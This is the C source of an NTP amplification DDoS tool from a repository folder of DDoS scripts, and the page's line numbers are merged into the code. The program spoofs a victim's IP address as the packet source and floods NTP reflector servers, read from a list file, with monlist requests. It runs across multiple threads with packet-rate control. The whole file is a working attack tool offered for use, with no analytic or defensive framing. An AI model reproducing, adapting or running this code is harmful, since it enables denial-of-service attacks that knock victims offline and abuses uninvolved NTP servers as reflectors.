Path: blob/master/DDOS Scripts/AMP Methods/NTP Amplification/ntp.c
4607 views
/*1* This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products.2*/34#include <time.h>5#include <pthread.h>6#include <unistd.h>7#include <stdio.h>8#include <stdlib.h>9#include <string.h>10#include <sys/socket.h>11#include <netinet/ip.h>12#include <netinet/udp.h>13#include <arpa/inet.h>14#define MAX_PACKET_SIZE 819215#define PHI 0x9e3779b916static uint32_t Q[4096], c = 362436;17struct list18{19struct sockaddr_in data;20struct list *next;21struct list *prev;22};23struct list *head;24volatile int limiter;25volatile unsigned int pps;26volatile unsigned int sleeptime = 100;27struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };28void init_rand(uint32_t x)29{30int i;31Q[0] = x;32Q[1] = x + PHI;33Q[2] = x + PHI + PHI;34for (i = 3; i < 4096; i++)35{36Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;37}38}39uint32_t rand_cmwc(void)40{41uint64_t t, a = 18782LL;42static uint32_t i = 4095;43uint32_t x, r = 0xfffffffe;44i = (i + 1) & 4095;45t = a * Q[i] + c;46c = (t >> 32);47x = t + c;48if (x < c) {49x++;50c++;51}52return (Q[i] = r - x);53}54unsigned short csum (unsigned short *buf, int nwords)55{56unsigned long sum = 0;57for (sum = 0; nwords > 0; nwords--)58sum += *buf++;59sum = (sum >> 16) + (sum & 0xffff);60sum += (sum >> 16);61return (unsigned short)(~sum);62}63void setup_ip_header(struct iphdr *iph)64{65iph->ihl = 5;66iph->version = 4;67iph->tos = 0;68iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;69iph->id = htonl(54321);70iph->frag_off = 0;71iph->ttl = MAXTTL;72iph->protocol = IPPROTO_UDP;73iph->check = 0;74iph->saddr = inet_addr("192.168.3.100");75}76void setup_udp_header(struct udphdr *udph)77{78udph->source = htons(5678);79udph->dest = htons(123);80udph->check = 0;81memcpy((void *)udph + sizeof(struct udphdr), "\x17\x00\x03\x2a\x00\x00\x00\x00", 8);82udph->len=htons(sizeof(struct udphdr) + 8);83}84void *flood(void *par1)85{86struct thread_data *td = (struct thread_data *)par1;87char datagram[MAX_PACKET_SIZE];88struct iphdr *iph = (struct iphdr *)datagram;89struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);90struct sockaddr_in sin = td->sin;91struct list *list_node = td->list_node;92int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);93if(s < 0){94fprintf(stderr, "error. got r00t?\n");95exit(-1);96}97init_rand(time(NULL));98memset(datagram, 0, MAX_PACKET_SIZE);99setup_ip_header(iph);100setup_udp_header(udph);101udph->source = htons(rand() % 65535 - 1026);102iph->saddr = sin.sin_addr.s_addr;103iph->daddr = list_node->data.sin_addr.s_addr;104iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);105int tmp = 1;106const int *val = &tmp;107if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){108fprintf(stderr, "error. u dun goofed.\n");109exit(-1);110}111init_rand(time(NULL));112register unsigned int i;113i = 0;114while(1){115sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));116list_node = list_node->next;117iph->daddr = list_node->data.sin_addr.s_addr;118iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);119iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);120pps++;121if(i >= limiter)122{123i = 0;124usleep(sleeptime);125}126i++;127}128}129int main(int argc, char *argv[ ])130{131if(argc < 5){132fprintf(stderr, "Invalid parameters!\n");133fprintf(stdout, "Usage: %s [IP] [file] [threads] [limiter] [time]\n", argv[0]);134exit(-1);135}136srand(time(NULL));137int i = 0;138head = NULL;139fprintf(stdout, "Opening sockets...\n");140int max_len = 128;141char *buffer = (char *) malloc(max_len);142buffer = memset(buffer, 0x00, max_len);143int num_threads = atoi(argv[3]);144int maxpps = atoi(argv[4]);145limiter = 0;146pps = 0;147int multiplier = 20;148FILE *list_fd = fopen(argv[2], "r");149while (fgets(buffer, max_len, list_fd) != NULL) {150if ((buffer[strlen(buffer) - 1] == '\n') ||151(buffer[strlen(buffer) - 1] == '\r')) {152buffer[strlen(buffer) - 1] = 0x00;153if(head == NULL)154{155head = (struct list *)malloc(sizeof(struct list));156bzero(&head->data, sizeof(head->data));157head->data.sin_addr.s_addr=inet_addr(buffer);158head->next = head;159head->prev = head;160} else {161struct list *new_node = (struct list *)malloc(sizeof(struct list));162memset(new_node, 0x00, sizeof(struct list));163new_node->data.sin_addr.s_addr=inet_addr(buffer);164new_node->prev = head;165new_node->next = head->next;166head->next = new_node;167}168i++;169} else {170continue;171}172}173struct list *current = head->next;174pthread_t thread[num_threads];175struct sockaddr_in sin;176sin.sin_family = AF_INET;177sin.sin_addr.s_addr = inet_addr(argv[1]);178struct thread_data td[num_threads];179for(i = 0;i<num_threads;i++){180td[i].thread_id = i;181td[i].sin= sin;182td[i].list_node = current;183pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);184}185fprintf(stdout, "Sending attack..\n");186for(i = 0;i<(atoi(argv[5])*multiplier);i++)187{188usleep((1000/multiplier)*1000);189if((pps*multiplier) > maxpps)190{191if(1 > limiter)192{193sleeptime+=100;194} else {195limiter--;196}197} else {198limiter++;199if(sleeptime > 25)200{201sleeptime-=25;202} else {203sleeptime = 0;204}205}206pps = 0;207}208return 0;209}210211